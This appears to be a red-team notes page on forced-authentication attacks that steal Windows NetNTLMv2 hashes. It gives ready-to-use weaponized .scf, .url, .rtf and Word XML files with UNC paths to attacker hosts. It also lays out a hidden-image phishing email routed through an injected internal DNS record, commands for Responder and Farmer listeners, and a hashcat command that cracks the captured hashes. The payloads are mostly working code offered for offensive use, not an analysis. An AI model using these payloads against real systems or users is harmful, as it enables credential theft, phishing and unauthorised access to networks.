Forced Authentication

Search…
Credential Access, Stealing hashes
Execution via Hyperlink
Let's create a Word document that has a hyperlink to our attacking server where  responder will be listening on port 445:
Totes not a scam.docx
12KB
Binary
Forced SMBv2 Authentication - MS Word File
Let's start Responder on our kali box:
[email protected]
1
responder -I eth1
Copied!
Once the link in the document is clicked, the target system sends an authentication request to the attacking host. Since responder is listening on the other end, victim's NetNTLMv2 hash is captured:
The retrieved hash can then be cracked offline with hashcat:
1
hashcat -m5600 /usr/share/responder/logs/SMBv2-NTLMv2-SSP-10.0.0.2.txt /usr/share/wordlists/rockyou.txt --force
Copied!
Success, the password is cracked:
Using the cracked passsword to get a shell on the victim system:
Execution via .SCF
Place the below fa.scf file on the attacker controlled machine at 10.0.0.7 in a shared folder tools
\\10.0.0.7\tools\fa.scf
1
[Shell]
2
Command=2
3
IconFile=\\10.0.0.5\tools\nc.ico
4
[Taskbar]
5
Command=ToggleDesktop
Copied!
@fa.scf
94B
Text
fa.scf
A victim user low opens the share \\10.0.0.7\tools and the fa.scf gets executed automatically, which in turn forces the victim system to attempt to authenticate to the attacking system at 10.0.0.5 where responder is listening:
victim opens \\10.0.0.7\tools, fa.scf executes and gives away low's hashes
user's low hashes were received by the attacker
What's interesting with the .scf attack is that the file could easily be downloaded through the browser and as soon as the user navigates to the Downloads folder, users's hash is stolen:
Execution via .URL
Create a weaponized .url file and upload it to the victim system:
c:\[email protected]
1
[InternetShortcut]
2
URL=whatever
3
WorkingDirectory=whatever
4
IconFile=\\10.0.0.5\%USERNAME%.icon
5
IconIndex=1
Copied!
Create a listener on the attacking system:
[email protected]
1
responder -I eth1 -v
Copied!
Once the victim navigates to the C:\ where link.url file is placed, the OS tries to authenticate to the attacker's malicious SMB listener on 10.0.0.5 where NetNTLMv2 hash is captured:
Execution via .RTF
Weaponizing .rtf file, which will attempt to load an image from the attacking system:
file.rtf
1
{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://10.0.0.5/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}
Copied!
Starting authentication listener on the attacking system:
[email protected]
1
responder -I eth1 -v
Copied!
Executing the file.rtf on the victim system gives away user's hashes:
Execution via .XML
MS Word Documents can be saved as .xml:
This can be exploited by including a tag that requests the document stylesheet (line 3) from an attacker controlled server. The victim system will share its NetNTLM hashes with the attacker when attempting to authenticate to the attacker's system:
1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2
<?mso-application progid="Word.Document"?>
3
<?xml-stylesheet type="text/xsl" href="\\10.0.0.5\bad.xsl" ?>
Copied!
Below is the attack illustrated:
test-xls-stylesheet.xml
466B
Text
test-xls-stylesheet.xml
Execution via Field IncludePicture
Create a new Word document and insert a new field IncludePicture:
Save the file as .xml. Note that the sneaky image url is present in the XML:
Launching the document gives away victim's hashes immediately:
smb-image.xml
46KB
Text
smb-image.xml
Execution via HTTP Image and Internal DNS
If we have a foothold in a network, we can do the following:
Create a new DNS A record (any authenticated user can do it) inside the domain, say offense.local, you have a foothold in, and point it to your external server, say 1.1.1.1
Use PowerMad to do this with: Invoke-DNSUpdate -dnsname vpn -dnsdata 1.1.1.1
On your controlled server 1.1.1.1, start Responder and listen for HTTP connections on port 80
Create a phishing email, that contains <img src="http://vpn.offense.local"/> 
Feel free to make the image 1x1 px or hidden
Note that http://vpn.offense.local resolves to 1.1.1.1 (where your Responder is listening on port 80), but only from inside the offense.local domain
Send the phish to target users from the offense.local domain
Phish recipients view the email, which automatically attemps to load the image from http://vpn.offense.local, which resolves to http://1.1.1.1 (where Responder is litening on port 80)
Responder catches NetNLTMv2 hashes for the targeted users with no user interaction required
Start cracking the hashes
Hopefully profit
Farmer WebDav
When inside a network, we can attempt to force hash leaks from other users by forcing them to authenticate to our WebDav server that we can bind to any an unused port without administrator privileges. To achieve this, we can use a tool called Farmer by @domchell.
Below will make the farmer listen on port 7443:
1
Farmer.exe 7443
Copied!
Below shows how the Farmer successfully collects a hash for the user spotless when they are forced to authenticate to the malicious webdav when ls \\[email protected]\spotless.png is executed:
Below shows how the Farmer successfully collects a hash from user spotless via a shortcut icon that points to our malicious webdav at \\[email protected]\spotless.png:
References
You Can Steal Windows Login Credentials via Google Chrome and SCF Files
BleepingComputer
SMB Share – SCF File Attacks
Penetration Testing Lab
A better way to capture hashes with no user interaction by @_markmo_
Medium
Capturing NetNTLM Hashes with Office [DOT] XML Documents
bohops
Living off the land: stealing NetNTLM hashes
Securify website
Farming for Red Teams: Harvesting NetNTLM - MDSec
MDSec
​